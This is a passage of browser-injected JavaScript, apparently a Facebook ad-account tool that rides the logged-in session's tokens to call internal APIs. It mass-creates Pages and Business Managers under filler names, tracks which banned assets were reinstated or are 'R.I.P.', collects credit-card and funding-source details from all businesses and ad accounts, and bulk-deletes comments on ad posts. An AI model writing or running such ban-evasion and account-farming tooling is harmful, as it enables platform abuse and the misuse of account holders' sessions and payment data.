				<div id="${pluginPopupTitleId}" >
					${title}
				</div>
				</center>
				<div style=''>
					<a class="close"
				style="position: absolute;top: -2px;right: 5px;transition: all 200ms; color: #333; font-size: 20px;"
				onclick="window.hidePluginPopup();"
				href="#">×</a>
				</div>
			</div>
		   <div id="${pluginPopupContentId}" style="padding: 10px">
			   ${content}
		   </div>
		   </div>
	   `
                div.style.display = 'block';
                document.getElementById('notif-overlay').append(div);
                dragElement(div);
            }
            window.showPluginPopup = function(event, content, title = null) {
                var div = document.getElementById(pluginPopupId);
                //console.log('showPluginPopup fired');
                if (div) {
                    //console.log('popup exist');
                    let coords = window.getPopupCoords(event);
                    div.style.display = 'block';
                    div.style.top = `${coords.top}px`;
                    div.style.left = `${coords.left}px`;
                    document.getElementById(pluginPopupTitleId).innerHTML = title;
                    document.getElementById(pluginPopupContentId).innerHTML = content;
                } else {
                    //console.log('popup init');
                    window.initPluginPopup(event, content, title)
                }

            }

            window.hidePluginPopup = function() {
                var div = document.getElementById(pluginPopupId);
                if (div)
                    div.style.display = 'none';
            }
            window.toglePluginPopup = function() {
                var div = document.getElementById(pluginPopupId);
                if (div && div.style.display == 'none') {
                    div.style.display = 'block'
                } else if (div && div.style.display == 'block') {
                    div.style.display = 'none'
                }
            }

            window.destroyPluginPopup = function() {
                document.getElementById(pluginPopupId)?.remove();
                window.popupCoords.init = false;

            }

            function dragElement(elmnt) {
                var pos1 = 0,
                    pos2 = 0,
                    pos3 = 0,
                    pos4 = 0;
                if (document.getElementById(elmnt.id + "-header")) {
                    /* if present, the header is where you move the DIV from:*/
                    document.getElementById(elmnt.id + "-header").onmousedown = dragMouseDown;
                } else {
                    /* otherwise, move the DIV from anywhere inside the DIV:*/
                    elmnt.onmousedown = dragMouseDown;
                }

                function dragMouseDown(e) {
                    e = e || window.event;
                    e.preventDefault();
                    // get the mouse cursor position at startup:
                    pos3 = e.clientX;
                    pos4 = e.clientY;
                    document.onmouseup = closeDragElement;
                    // call a function whenever the cursor moves:
                    document.onmousemove = elementDrag;
                }

                function elementDrag(e) {
                    e = e || window.event;
                    e.preventDefault();
                    // calculate the new cursor position:
                    pos1 = pos3 - e.clientX;
                    pos2 = pos4 - e.clientY;
                    pos3 = e.clientX;
                    pos4 = e.clientY;
                    // set the element's new position:
                    elmnt.style.top = (elmnt.offsetTop - pos2) + "px";
                    elmnt.style.left = (elmnt.offsetLeft - pos1) + "px";
                }

                function closeDragElement() {
                    /* stop moving when mouse button is released:*/
                    document.onmouseup = null;
                    document.onmousemove = null;
                }
            }

            window.popupCoords = {
                left: 10,
                top: 10,
                init: false
            }
            window.getPopupCoords = function(event) {
                if (event === undefined)
                    event = {};

                if (!window.popupCoords.init) {
                    console.log('popupCoords init');
                    let parentBox = document.getElementById("notif").getBoundingClientRect();
                    window.popupCoords.left = parentBox.left + 10;
                    window.popupCoords.top = parentBox.top + 10;
                    window.popupCoords.init = true;
                    document.getElementById("notif").addEventListener("mousemove", (event) => {
                        // console.log(`top: ${event.pageY}px; left: ${event.pageX}px;`);
                        window.popupCoords.left = event.pageX;
                        window.popupCoords.top = event.pageY;
                    });
                }

                //console.log('event', event.pageX);
                let left = (event.pageX !== undefined) ? event.pageX : window.popupCoords.left;
                let top = (event.pageY !== undefined) ? event.pageY : window.popupCoords.top;
                //console.log(`left: ${left}, top: ${top}`);

                return {
                    left: left,
                    top: top
                }
            }
            ////////////////////////////morePopup////////////////////////////////// 

            window.showAddFP = function() {
                document.getElementById("showAddFPbtn").style.display = "none";
                let addbmNode = document.getElementById('tab4showadd');
                let todo = '';
                todo = todo + `<table border="0.1"><tr><td>Category:</td> <td><select style="background: #384959;color:white;" id="Tab4AddFPcat">
			   <option value="164886566892249">Advertising Agency</option>
			   <option value="1757592557789532">Advertising</option>
			   <option value="187393124625179">Web Designer</option>
			   <option value="530553733821238">Social Media Agency</option>
			   <option value="162183907165552">Graphic Designer</option>
			   <option value="145118935550090">Medical</option>
			   <option value="134381433294944">Pharmacy</option>
			   <option value="187724814583579">Casino</option>
			   <option value="273819889375819">Restaurant</option>
			   <option value="198327773511962">Real Estate</option>
			   <option value="1706730532910578">Internet Marketing Service</option>
			   <option value="471120789926333">Gamer</option>
			   <option value="866898430141631">Game publisher</option>
			   <option value="201429350256874">Video Game Store</option>
			   <option value="179672275401610">Business Consultant</option>
			   <option value="186230924744328">Clothing store</option>
			   <option value="1086422341396773">Apparel & clothing</option>
			   <option value="128753240528981">Women's clothing store</option>
			   <option value="170241263022353">Men's clothing store</option>
			   <option value="192614304101075">Baby clothing store</option>
			   <option value="2202">Website</option>`;

                todo = todo + '</select></td></tr>';
                todo = todo + `<tr><td>Style:</td> <td><select style="background: #384959;color:white;" id="Tab4AddFPstyle">
			   <option value="1">NEW</option>
			   <option value="2">Old</option>
			   </select></td></tr>`;


                todo = todo + '<tr><td>FP Name:</td><td> <input type="text" id="Tab4AddFPname" placeholder="FPname" style="background: #384959;color:white;"  maxlength="50" size="30"></td></tr><tr><td></td><td style="text-align: center; vertical-align: middle;"><button style="background:#384959;color:white;" id="Tab4AddFPForm" onclick="window.AddFPProcessForm(); return false;">Go</button></td></tr></table>';
                addbmNode.innerHTML = "\n<br>" + todo;

            }

            window.AddFPProcessForm = async function() {
                document.getElementById("Tab4AddFPForm").innerText = "Please Wait";
                let apiUrl = "https://www.facebook.com/api/graphql";
                let AddFPName = document.getElementById("Tab4AddFPname").value;
                let AddFPcat = document.getElementById("Tab4AddFPcat").value;
                let AddFPstyle = document.getElementById("Tab4AddFPstyle").value;
                if (AddFPstyle == '1') fbdocid = '4722866874428654';
                else fbdocid = '9339938679410311';
                // AddFPName = AddFPName.replaceAll(' ', '%20;');
                var urlencoded = new URLSearchParams();
                urlencoded.append("jazoest", 25477);
                urlencoded.append("__rev", window.spinR);
                urlencoded.append("__hsi", window.hsi);
                urlencoded.append("__spin_r", window.spinR);
                urlencoded.append("__spin_b", window.spinB);
                urlencoded.append("__spin_t", window.spinT);
                urlencoded.append("fb_api_caller_class", "RelayModern");
                urlencoded.append("fb_api_req_friendly_name", "AdditionalProfilePlusCreationMutation");
                urlencoded.append("av", window.socid);
                urlencoded.append("__user", window.socid);
                urlencoded.append("fb_dtsg", window.dtsg);

                if (AddFPstyle == '1') urlencoded.append("variables", `{"input":{"bio":"","categories":["${AddFPcat}"],"creation_source":"comet","name":"${AddFPName}","page_referrer":"launch_point","actor_id":"${window.socid}","client_mutation_id":"1"}}`);
                else urlencoded.append("variables", `{"input":{"categories":["${AddFPcat}"],"creation_source":"CM_OFFSITE_CREATE_NEW_PAGE","description":"","name":"${AddFPName}","actor_id":"${window.socid}","client_mutation_id":"1"}}`);
                urlencoded.append("doc_id", fbdocid);
                urlencoded.append("server_timestamps", 'true');

                let logNode = document.getElementById('tab4addfplog');
                nolog = 0;
                let response = await fetch(apiUrl, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                console.log(json);
                if (json.errors !== undefined) {
                    alert('Error create Page :( ');
                    //logNode.innerHTML += "\n<br>" + json.error.error_user_msg;
                    document.getElementById("Tab4AddFPForm").innerText = "Another try";
                } else {


                    var newfpid = '';
                    newfpname = '';
                    if (AddFPstyle == '1') {
                        try {
                            if (json.data.additional_profile_plus_create.additional_profile.id > 0) {
                                newfpid = json.data.additional_profile_plus_create.additional_profile.id;
                                newfpname = AddFPName;
                            }
                        } catch (e) {
                            newfpid = 0;
                            newfpname = '';

                            try {
                                if (json.data.additional_profile_plus_create.name_error) {
                                    alert(json.data.additional_profile_plus_create.name_error);
                                    nolog = 1;
                                }
                            } catch (e) {
                                newfpid = 0;
                                newfpname = '';
                            }

                        }
                    } else {
                        try {
                            if (json.data.page_create.page.id > 0) {
                                newfpid = json.data.page_create.page.id;
                                newfpname = AddFPName;
                            }
                        } catch (e) {
                            newfpid = 0;
                            newfpname = '';
                        }
                        try {
                            if (json.data.page_create.page_name_error) {
                                alert(json.data.page_create.page_name_error);
                                nolog = 1;
                            }
                        } catch (e) {
                            newfpid = 0;
                            newfpname = '';
                        }
                        try {
                            if (json.data.page_create.error_message) {
                                alert(json.data.page_create.error_message);
                                nolog = 1;
                            }
                        } catch (e) {
                            newfpid = 0;
                            newfpname = '';
                        }
                    }
                    if (nolog == 0) {
                        logNode.innerHTML += "\n<br>" + newfpname + " [" + newfpid + "] [<b> </b>][<a href='https://www.facebook.com/" + newfpid + "' target='_blank'>Open</a>]";
                        document.getElementById("Tab4AddFPForm").innerText = "Go New";
                    }
                }
            }


            window.PzrdFPList = async function() {

                //	var pzrdid=[];
                //	var banid=[];
                var pzrdret = {
                    'pzrdid': [],
                    'banid': []
                };

                let apiUrl = "https://www.facebook.com/api/graphql";
                var urlencoded = new URLSearchParams();
                urlencoded.append("jazoest", 25477);
                urlencoded.append("__rev", window.spinR);
                urlencoded.append("__hsi", window.hsi);
                urlencoded.append("__spin_r", window.spinR);
                urlencoded.append("__spin_b", window.spinB);
                urlencoded.append("__spin_t", window.spinT);
                urlencoded.append("fb_api_caller_class", "RelayModern");
                urlencoded.append("fb_api_req_friendly_name", "AccountQualityUserPagesWrapper_UserPageQuery");
                urlencoded.append("av", window.socid);
                urlencoded.append("__user", window.socid);
                urlencoded.append("fb_dtsg", window.dtsg);
                urlencoded.append("variables", `{"assetOwnerId": ${window.socid}}`);
                urlencoded.append("doc_id", '5196344227155252');
                urlencoded.append("server_timestamps", 'true');

                let response = await fetch(apiUrl, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                if (json.errors !== undefined) {
                    return pzrdret;
                } else {

                    data = json;
                    if ('data' in data && 'userData' in data.data && 'pages_can_administer' in data.data.userData) {
                        pzrd_count = []
                        for (let i = 0; i < data.data.userData.pages_can_administer.length; i++) {
                            var current_page = data.data.userData.pages_can_administer[i];
                            if ('advertising_restriction_info' in current_page) {
                                if (!current_page.advertising_restriction_info.is_restricted && current_page.advertising_restriction_info.restriction_type == "ALE") {
                                    pzrd_count.push(`Pzrd: ${current_page.name} | ${current_page.id}`);
                                    pzrdret.pzrdid.push(current_page.id);
                                }
                                if (current_page.advertising_restriction_info.is_restricted) {
                                    pzrdret.banid.push(current_page.id);
                                }
                            }
                        }

                    }

                }
                return pzrdret;
            }


            window.PzrdSocList = async function() {

                //	var pzrdid=[];
                //	var banid=[];
                var pzrdret = {
                    'pzrdid': [],
                    'banid': []
                };

                let apiUrl = "https://www.facebook.com/api/graphql";
                var urlencoded = new URLSearchParams();
                urlencoded.append("jazoest", 25477);
                urlencoded.append("__rev", window.spinR);
                urlencoded.append("__hsi", window.hsi);
                urlencoded.append("__spin_r", window.spinR);
                urlencoded.append("__spin_b", window.spinB);
                urlencoded.append("__spin_t", window.spinT);
                urlencoded.append("fb_api_caller_class", "RelayModern");
                urlencoded.append("fb_api_req_friendly_name", "AccountQualityHubAssetOwnerViewV2Query");
                urlencoded.append("av", window.socid);
                urlencoded.append("__user", window.socid);
                urlencoded.append("fb_dtsg", window.dtsg);
                urlencoded.append("variables", `{"assetOwnerId": ${window.socid}}`);
                urlencoded.append("doc_id", '6139497919470985');
                urlencoded.append("server_timestamps", 'true');

                let response = await fetch(apiUrl, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                if (json.errors !== undefined) {
                    return pzrdret;
                } else {

                    data = json;
                    if ('data' in data && 'userData' in data.data && 'pages_can_administer' in data.data.userData) {
                        pzrd_count = []
                        for (let i = 0; i < data.data.userData.pages_can_administer.length; i++) {
                            var current_page = data.data.userData.pages_can_administer[i];
                            if ('advertising_restriction_info' in current_page) {
                                if (!current_page.advertising_restriction_info.is_restricted && current_page.advertising_restriction_info.restriction_type == "ALE") {
                                    pzrd_count.push(`Pzrd: ${current_page.name} | ${current_page.id}`);
                                    pzrdret.pzrdid.push(current_page.id);
                                }
                                if (current_page.advertising_restriction_info.is_restricted) {
                                    pzrdret.banid.push(current_page.id);
                                }
                            }
                        }

                    }

                }
                return pzrdret;
            }

            window.PzrdBmList = async function(bmid) {
                let bmNode = document.getElementById('fbaccstatusbmpzrd' + bmid);
                bmNode.innerHTML += '<small>[..]</small>';
                var retbmpzrdstat = '';
                let apiUrl = "https://www.facebook.com/api/graphql";
                var urlencoded = new URLSearchParams();
                urlencoded.append("jazoest", 25477);
                urlencoded.append("__rev", window.spinR);
                urlencoded.append("__hsi", window.hsi);
                urlencoded.append("__spin_r", window.spinR);
                urlencoded.append("__spin_b", window.spinB);
                urlencoded.append("__spin_t", window.spinT);
                urlencoded.append("fb_api_caller_class", "RelayModern");
                urlencoded.append("fb_api_req_friendly_name", "AccountQualityHubAssetOwnerViewV2Query");
                urlencoded.append("av", window.socid);
                urlencoded.append("__user", window.socid);
                urlencoded.append("fb_dtsg", window.dtsg);
                urlencoded.append("variables", `{"assetOwnerId": ${bmid}}`);
                urlencoded.append("doc_id", '6139497919470985');
                urlencoded.append("server_timestamps", 'true');

                let response = await fetch(apiUrl, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                if (json.errors !== undefined) {
                    retbmpzrdstat = '';
                } else {
                    console.log(json);
                    try {
                        if (!json.data.assetOwnerData.advertising_restriction_info.is_restricted && json.data.assetOwnerData.advertising_restriction_info.restriction_type == "ALE") {
                            retbmpzrdstat = '[<span style="color: green;">Reinst</span>]';
                        }
                    } catch (e) {
                        console.log("Error get pzrd BM status");
                        retbmpzrdstat = '';
                    }
                    try {
                        if (json.data.assetOwnerData.advertising_restriction_info.is_restricted && json.data.assetOwnerData.advertising_restriction_info.status == "APPEAL_PENDING") {
                            retbmpzrdstat = '[<span style="color: yellow;">In review</span>]';
                        }
                    } catch (e) {
                        console.log("Error get pzrd BM status");
                        retbmpzrdstat = '';
                    }
                    try {
                        if (json.data.assetOwnerData.advertising_restriction_info.is_restricted && json.data.assetOwnerData.advertising_restriction_info.status == "APPEAL_REJECTED_NO_RETRY") {
                            retbmpzrdstat = '[<span style="color: red;">R.I.P.</span>]';
                        }
                    } catch (e) {
                        console.log("Error get pzrd BM status");
                        retbmpzrdstat = '';
                    }
                }
                bmNode.innerHTML = retbmpzrdstat;
                return true;
            }



            window.showAddBM = function() {
                document.getElementById("showAddBMbtn").style.display = "none";


                let addbmNode = document.getElementById('tab5showadd');
                let todo = '';
                todo = todo + '<table border="0.1">';

                todo = todo + '';
                todo = todo + `
			   <tr><td>Type:</td><td> <select style="background: #384959;color:white;" id="Tab5AddBMtype"><option value="1">Сlassic method</option><!--<option value="2">Dev method</option>--></select></td></tr>
			   <tr><td>Name:</td><td> <input type="text" id="Tab5AddBMname" placeholder="BMname" style="background: #384959;color:white;"  maxlength="50" size="30" value="${window.shortname}"></td></tr>
			   <tr><td>email:</td><td> <input type="text" id="Tab5AddBMmail" placeholder="mail" style="background: #384959;color:white;"  maxlength="50" size="30" value="${window.shortname}@gmail.com"></td></tr>`;


                todo = todo + '<tr><td></td><td style="text-align: center; vertical-align: middle;"><button style="background:#384959;color:white;" id="Tab5AddBMForm" onclick="window.AddBMProcessForm(); return false;">Go</button></td></tr></table>';
                addbmNode.innerHTML = "\n<br>" + todo;
            }



            window.AddBMProcessForm = async function() {
                document.getElementById("Tab5AddBMForm").innerText = "Please Wait";

                let AddBMName = document.getElementById("Tab5AddBMname").value;
                let AddBMmail = document.getElementById("Tab5AddBMmail").value;
                let AddBMtype = document.getElementById("Tab5AddBMtype").value;
                if (AddBMtype == 1) {
                    let apiUrl = "https://www.facebook.com/api/graphql/";

                    var urlencoded = new URLSearchParams();

                    urlencoded.append("__rev", window.spinR);
                    urlencoded.append("__hsi", window.hsi);
                    urlencoded.append("__spin_r", window.spinR);
                    urlencoded.append("__spin_b", window.spinB);
                    urlencoded.append("__spin_t", window.spinT);
                    urlencoded.append("fb_api_caller_class", "RelayModern");
                    urlencoded.append("fb_api_req_friendly_name", "useBusinessCreationMutationMutation");
                    urlencoded.append("av", window.socid);
                    urlencoded.append("__user", window.socid);
                    urlencoded.append("fb_dtsg", window.dtsg);
                    urlencoded.append("variables", `{"input":{"client_mutation_id":"1","actor_id":"${window.socid}","business_name":"${AddBMName}","user_first_name":"${window.shortname}","user_last_name":"${window.shortname}","user_email":"${AddBMmail}","creation_source":"FBS_BUSINESS_CREATION_FLOW"}}`);
                    urlencoded.append("doc_id", '7183377418404152');
                    urlencoded.append("server_timestamps", 'true');

                    let logNode = document.getElementById('tab5addbmlog');
                    let response = await fetch(apiUrl, {
                        mode: 'cors',
                        method: 'POST',
                        credentials: 'include',
                        redirect: "follow",
                        body: urlencoded
                    });
                    let json = await response.json();
                    //console.log(json);
                    if (json.errors !== undefined) {
                        alert('Error creating new BM :(');
                        //logNode.innerHTML += "\n<br>" + json.error.error_user_msg;
                        document.getElementById("Tab5AddBMForm").innerText = "Another try";
                    } else {
                        if (json.data.bizkit_create_business.id > 0)
                            logNode.innerHTML += "\n<br>" + AddBMName + " (" + json.data.bizkit_create_business.id + ")";

                        document.getElementById("Tab5AddBMForm").innerText = "Go Go Go";
                    }
                } else {




                    var urlencoded = new URLSearchParams();

                    urlencoded.append("first_name", window.fullname);
                    urlencoded.append("last_name", window.shortname);
                    urlencoded.append("brand_name", AddBMName);
                    urlencoded.append("email", AddBMmail);
                    urlencoded.append("timezone_id", "0");
                    urlencoded.append("business_category", "OTHER");

                    urlencoded.append("__rev", window.spinR);
                    urlencoded.append("__hsi", window.hsi);
                    urlencoded.append("__spin_r", window.spinR);
                    urlencoded.append("__spin_b", window.spinB);
                    urlencoded.append("__spin_t", window.spinT);
                    // urlencoded.append("fb_api_caller_class", "RelayModern");
                    //urlencoded.append("fb_api_req_friendly_name", "useBusinessCreationMutationMutation");
                    urlencoded.append("av", window.socid);
                    urlencoded.append("__user", window.socid);
                    urlencoded.append("fb_dtsg", window.dtsg);
                    let apiUrl = "https://developers.facebook.com/business/create/?brand_name=" + AddBMName + "&first_name=" + window.fullname + "&last_name=" + window.shortname + "&email=" + AddBMmail + "&timezone_id=0&business_category=OTHER";
                    //urlencoded.append("variables", `{"input":{"client_mutation_id":"1","actor_id":"${window.socid}","business_name":"${AddBMName}","user_first_name":"${window.shortname}","user_last_name":"${window.shortname}","user_email":"${AddBMmail}","creation_source":"FBS_BUSINESS_CREATION_FLOW"}}`);
                    //urlencoded.append("doc_id", '7183377418404152');


                    let logNode = document.getElementById('tab5addbmlog');
                    let response = await fetch(apiUrl, {
                        mode: 'no-cors',
                        method: 'POST',
                        credentials: 'include',
                        redirect: "follow",
                        body: urlencoded,
                        referrerPolicy: "same-origin",
                    });
                    let json = await response.json();
                    //console.log(json);
                    if (json.errors !== undefined) {
                        alert('Error creating new BM :(');
                        //logNode.innerHTML += "\n<br>" + json.error.error_user_msg;
                        document.getElementById("Tab5AddBMForm").innerText = "Another try";
                    } else {
                        if (json.data.bizkit_create_business.id > 0)
                            logNode.innerHTML += "\n<br>" + AddBMName + " (" + json.data.bizkit_create_business.id + ")";

                        document.getElementById("Tab5AddBMForm").innerText = "Go Go Go";
                    }



                }
            }




            window.getcc = async function() {
                var credcca = [];
                var cctype = 'bmcc';
                tmpapiurl = 'https://graph.facebook.com/v17.0/me/businesses?fields=id,is_disabled_for_integrity_reasons,can_use_extended_credit,name,verification_status,creditcards&access_token=' + window.privateToken;
                let response = await fetch(tmpapiurl, {
                    mode: 'cors',
                    method: 'GET',
                    credentials: 'include',
                    redirect: "follow"
                });
                let bminf = await response.json();
                if (bminf.errors !== undefined) {} else {
                    if (bminf.data.length) {
                        var i = 0;
                        for (; i < bminf.data.length; i++) {
                            try {
                                if (bminf.data[i].creditcards.data.length) {
                                    for (var icc = 0; icc < bminf.data[i].creditcards.data.length; icc++) {
                                        bminf.data[i].creditcards.data[icc].cctype = 'bmcc';
                                        bminf.data[i].creditcards.data[icc].ccinf = bminf.data[i].name;
                                        credcca.push(bminf.data[i].creditcards.data[icc]);
                                        // console.log(credcca);
                                    }
                                }
                            } catch (e) {
                                console.log("No bm cred cc");
                            }
                        }
                    }
                }

                tmpapiurl2 = 'https://graph.facebook.com/v17.0/me/adaccounts?fields=id,account_id,business,name,funding_source_details&limit=1000&sort=name_ascending&access_token=' + window.privateToken;
                let response2 = await fetch(tmpapiurl2, {
                    mode: 'cors',
                    method: 'GET',
                    credentials: 'include',
                    redirect: "follow"
                });
                let bminf2 = await response2.json();
                if (bminf2.errors !== undefined) {} else {
                    if (bminf2.data.length) {
                        var i = 0;
                        for (; i < bminf2.data.length; i++) {
                            try {
                                if (bminf2.data[i].funding_source_details) {
                                    bminf2.data[i].funding_source_details.cctype = 'usercc';
                                    bminf2.data[i].funding_source_details.ccinf = bminf2.data[i].name;
                                    credcca.push(bminf2.data[i].funding_source_details);
                                }
                            } catch (e) {
                                console.log("No cred cc");
                            }
                        }
                    }
                }
                return credcca;
            }

            window.getFpComments = async function() {
                //var retrn='';var todo='';var i=0;var ic=0;var tmpadimages=[];tmpadcreatives=[];
                var currfp;
                var currfpcnt = 0;


                tmpapiurl = 'https://graph.facebook.com/v17.0/me?fields=accounts.limit(100){id,name,ads_posts.limit(100){id,comments.limit(100){id}}}&access_token=' + window.privateToken;
                let response = await fetch(tmpapiurl, {
                    mode: 'cors',
                    method: 'GET',
                    credentials: 'include',
                    redirect: "follow"
                });
                let bminf = await response.json();
                if (bminf.errors !== undefined) {} else {
                    if (bminf.accounts.data.length) {
                        var i = 0;
                        var icc = 0;
                        for (; i < bminf.accounts.data.length; i++) {

                            currfp = document.getElementById("fpcomm_" + bminf.accounts.data[i].id);
                            //	console.log("fpcomm_"+bminf.accounts.data[i].id);
                            //	console.log(currfp);
                            //currfpcnt=currfp.innerHTML;	
                            //if(currfpcnt=='-') 
                            currfpcnt = 0;
                            currfp.innerHTML = '...';
                            try {
                                if (bminf.accounts.data[i].ads_posts.data.length) {
                                    for (icc = 0; icc < bminf.accounts.data[i].ads_posts.data.length; icc++) {

                                        try {
                                            if (bminf.accounts.data[i].ads_posts.data[icc].comments.data.length) {
                                                //	  console.log('Adpost:'+bminf.accounts.data[i].ads_posts.data[icc].id+' '+bminf.accounts.data[i].ads_posts.data[icc].comments.data.length+' comments found'); 
                                                currfpcnt = currfpcnt + bminf.accounts.data[i].ads_posts.data[icc].comments.data.length;

                                            }
                                        } catch (e) {
                                            console.log("Adpost without comments");
                                        }
                                    }
                                }
                            } catch (e) {
                                console.log("No adpost with comments");
                            }
                            currfp.innerHTML = currfpcnt;

                            if (currfpcnt > 0) document.getElementById("fpcleanall").innerHTML = "<b><a onclick='window.delFpComments();'><svg width=\"14\" height=\"14\" clip-rule=\"evenodd\" fill-rule=\"evenodd\" stroke-linejoin=\"round\" stroke-miterlimit=\"2\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"m4.015 5.494h-.253c-.413 0-.747-.335-.747-.747s.334-.747.747-.747h5.253v-1c0-.535.474-1 1-1h4c.526 0 1 .465 1 1v1h5.254c.412 0 .746.335.746.747s-.334.747-.746.747h-.254v15.435c0 .591-.448 1.071-1 1.071-2.873 0-11.127 0-14 0-.552 0-1-.48-1-1.071zm14.5 0h-13v17.006h13zm-4.25 2.506c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm-4.5 0c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm3.75-4v-.5h-3v.5z\" fill=\"#79abd6\"/></svg></a></b>";
                            await sleep(2000);
                        }
                    }
                }

                function sleep(ms) {
                    return new Promise(resolve => setTimeout(resolve, ms));
                }

            }


            window.delFpComments = async function() {
                //var retrn='';var todo='';var i=0;var ic=0;var tmpadimages=[];tmpadcreatives=[];
                document.getElementById("showAddFPbtn").style.display = "none";
                var currfp;
                var currfpcnt = 0;
                var currpageToken;

                tmpapiurl = 'https://graph.facebook.com/v17.0/me?fields=accounts.limit(100){id,name,ads_posts.limit(100){id,comments.limit(100){id}}}&access_token=' + window.privateToken;
                let response = await fetch(tmpapiurl, {
                    mode: 'cors',
                    method: 'GET',
                    credentials: 'include',
                    redirect: "follow"
                });
                let bminf = await response.json();
                if (bminf.errors !== undefined) {} else {
                    if (bminf.accounts.data.length) {
                        var i = 0;
                        var icc = 0;
                        var icom = 0;
                        for (; i < bminf.accounts.data.length; i++) {

                            currfp = document.getElementById("fpcomm_" + bminf.accounts.data[i].id);
                            currpageToken = await window.getPageToken(bminf.accounts.data[i].id);
                            console.log('Page: ' + bminf.accounts.data[i].id + ' Token: ' + currpageToken);
                            // console.log("fpcomm_"+bminf.accounts.data[i].id);
                            // console.log(currfp);
                            //currfpcnt=currfp.innerHTML;	
                            //if(currfpcnt=='-') 
                            currfpcnt = 0;
                            currfp.innerHTML = '...';
                            try {
                                if (bminf.accounts.data[i].ads_posts.data.length) {
                                    for (icc = 0; icc < bminf.accounts.data[i].ads_posts.data.length; icc++) {

                                        try {
                                            if (bminf.accounts.data[i].ads_posts.data[icc].comments.data.length) {
                                                console.log('Adpost:' + bminf.accounts.data[i].ads_posts.data[icc].id + ' ' + bminf.accounts.data[i].ads_posts.data[icc].comments.data.length + ' comments found');
                                                currfpcnt = currfpcnt + bminf.accounts.data[i].ads_posts.data[icc].comments.data.length;
                                                for (icom = 0; icom < bminf.accounts.data[i].ads_posts.data[icc].comments.data.length; icom++) {
                                                    ////dell

                                                    tmpapiurldel = 'https://graph.facebook.com/v17.0/' + bminf.accounts.data[i].ads_posts.data[icc].comments.data[icom].id + '?access_token=' + currpageToken;
                                                    dresponse = await fetch(tmpapiurldel, {
                                                        mode: 'cors',
                                                        method: 'DELETE',
                                                        credentials: 'include',
                                                        redirect: "follow"
                                                    });
                                                    dinf = await dresponse.json();
                                                    if (dinf.success == true) {
                                                        document.getElementById("tab4addfplog").innerHTML += 'Page: ' + bminf.accounts.data[i].id + ' Comment <b>' + (icom + 1) + '</b> from ' + bminf.accounts.data[i].ads_posts.data[icc].comments.data.length + ' deleted<br>';
                                                    }
                                                    //  

                                                    //  console.log(dinf);
                                                    //  console.log(bminf.accounts.data[i].ads_posts.data[icc].comments.data[icom].id);
                                                    await sleep(1000)



                                                }



                                            }
                                        } catch (e) {
                                            console.log("Adpost without comments");
                                        }
                                    }
                                }
                            } catch (e) {
                                console.log("No adpost with comments");
                            }
                            currfp.innerHTML = currfpcnt;

                            if (currfpcnt > 0) document.getElementById("fpcleanall").innerHTML = "<b><a onclick='window.delFpComments();'><svg width=\"14\" height=\"14\" clip-rule=\"evenodd\" fill-rule=\"evenodd\" stroke-linejoin=\"round\" stroke-miterlimit=\"2\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"m4.015 5.494h-.253c-.413 0-.747-.335-.747-.747s.334-.747.747-.747h5.253v-1c0-.535.474-1 1-1h4c.526 0 1 .465 1 1v1h5.254c.412 0 .746.335.746.747s-.334.747-.746.747h-.254v15.435c0 .591-.448 1.071-1 1.071-2.873 0-11.127 0-14 0-.552 0-1-.48-1-1.071zm14.5 0h-13v17.006h13zm-4.25 2.506c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm-4.5 0c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm3.75-4v-.5h-3v.5z\" fill=\"#79abd6\"/></svg></a></b>";

                            await sleep(2000);
                        }
                    }
                }

                function sleep(ms) {
                    return new Promise(resolve => setTimeout(resolve, ms));
                }

            }



            window.getAccAds = async function(accid) {
                var retrn = '';
                var todo = '';
                var i = 0;
                var ic = 0;
                var tmpadimages = [];
                tmpadcreatives = [];
                ///?fields=adimages.limit(100){name,url_128,ads_integrity_review_info,creatives},advideos.limit(100){id,picture,ads_integrity_review_info},ads.limit(100){name,status,ad_review_feedback,adcreatives{id,image_url},delivery_status},adcreatives.limit(100){id,name,object_id,object_story_spec}
                ///var ApiUrlMainInfo = "https://graph.facebook.com/v17.0/act_" + accid + "/ads/?fields=name,status,ad_review_feedback,adcreatives{image_url},delivery_status&limit=100&access_token=" + window.privateToken + "&locale=en_US";
                var ApiUrlMainInfo = "https://graph.facebook.com/v17.0/act_" + accid + "/?fields=adimages.limit(100){name,url_128,ads_integrity_review_info,creatives},advideos.limit(100){id,picture,ads_integrity_review_info},ads.limit(100){name,status,ad_review_feedback,adcreatives{id,image_url},delivery_status},adcreatives.limit(100){id,name,object_id,object_story_spec,thumbnail_url}&limit=100&access_token=" + window.privateToken + "&locale=en_US";
                let response = await fetch(ApiUrlMainInfo, {
                    mode: 'cors',
                    method: 'GET',
                    credentials: 'include',
                    redirect: "follow"
                });
                let AccAds = await response.json();
                console.log(AccAds);
                if (AccAds.errors !== undefined) {} else {
                    if (AccAds.ads.data.length) {


                        try {
                            if (AccAds.adimages.data.length) {
                                for (i = 0; i < AccAds.adimages.data.length; i++) {
                                    //console.log(AccAds.adimages.data[i]);
                                    ///try{tmpadimages[AccAds.adimages.data[i].creatives[0]]=AccAds.adimages.data[i];}catch (e) {console.log("Adimage not use");}
                                    try {
                                        if (AccAds.adimages.data[i].creatives.length) {
                                            for (ic = 0; ic < AccAds.adimages.data[i].creatives.length; ic++) {
                                                tmpadimages[AccAds.adimages.data[i].creatives[ic]] = AccAds.adimages.data[i];
                                            }
                                        }

                                    } catch (e) {
                                        console.log("Adimage not use");
                                    }


                                    /*if(AccAds.adimages.data[i].creatives[0]){
